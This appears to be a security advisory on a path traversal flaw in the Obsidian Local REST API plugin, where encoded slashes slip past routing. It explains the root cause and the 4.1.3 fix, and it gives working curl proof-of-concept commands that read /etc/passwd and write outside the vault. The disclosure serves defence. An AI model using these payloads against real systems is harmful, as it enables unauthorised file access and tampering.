obsidian-local-rest-api: Authenticated Path Traversal via Percent-Encoded Slash in /vault/{path}
A bug in the Obsidian Local REST API plugin lets an authenticated caller read, write, or delete any file on the host machine by sneaking encoded slashes (%2F) past the URL router and into the file pat
The problem
Every `/vault/{path}` endpoint (GET, PUT, PATCH, POST, DELETE) calls `decodeURIComponent` on the path segment inside the handler, after Express has already routed the request. Express sees `%2F` as a literal percent-encoded character, not a separator, so it does not collapse or reject `..%2F` sequences during routing.
Once the handler decodes the path, `..%2F..%2F` becomes `../../`, which walks outside the vault root. The decoded path is passed directly to Obsidian vault adapter calls (`readBinary`, `getAbstractFileByPath`, etc.) with no `posix.resolve` confinement check, giving an authenticated client arbitrary file read, write, and delete at the OS privileges of the Obsidian process.
Proof of concept
A working proof-of-concept for this issue in obsidian-local-rest-api, with the exact payload below.
# READ: returns /etc/passwd bytes with HTTP 200
curl --path-as-is -k \
-H "Authorization: Bearer $API_KEY" \
"https://127.0.0.1:27124/vault/..%2F..%2F..%2F..%2Fetc%2Fpasswd"
# WRITE: creates a file outside the vault root
curl --path-as-is -k -X PUT \
-H "Authorization: Bearer $API_KEY" \
--data "pwned" \
"https://127.0.0.1:27124/vault/..%2F..%2F..%2Ftmp%2Fcanary.txt"
# NOTE: a literal ../ (unencoded) returns 404 -- only the %2F form bypasses routing.The root cause is a decode-after-routing gap (CWE-22). The string Express routes on (`..%2F..%2F`) is not the string the handler operates on (`../../`), so the router's path-normalization never sees the traversal.
The fix, already present in `vaultMove` and now applied to all vault handlers, resolves the decoded path against a synthetic vault root using `posix.resolve(syntheticRoot, decoded)` and rejects any result that does not start with `syntheticRoot + '/'`. This makes traversal impossible regardless of encoding variant (`%2F`, `%2e%2e`, or combinations).
The fix
Upgrade obsidian-local-rest-api to 4.1.3 or later. The patch applies a `posix.resolve` confinement check to every vault handler (GET, PUT, PATCH, POST, DELETE, MOVE) and returns `ErrorCode.PathTraversalNotAllowed` on any path that resolves outside the vault root.
No configuration change is required after upgrading.
Reported by Caleb Brisbin (@AgenticWizard).
Related research
- critical · 9.1CVE-2026-53486CVE-2026-53486: @xhmikosr/decompress Path Traversal, Symlink Escape, and Setuid File Creation
- high · 8.2pnpm Path Traversal via configDependencies Lockfile Entry Allows Symlink Escape
- high · 7.1pnpm Hoisted Lockfile Alias Path Traversal ()
- high · 7.5better-helperjs Path Traversal via String Prefix Bypass in Static Server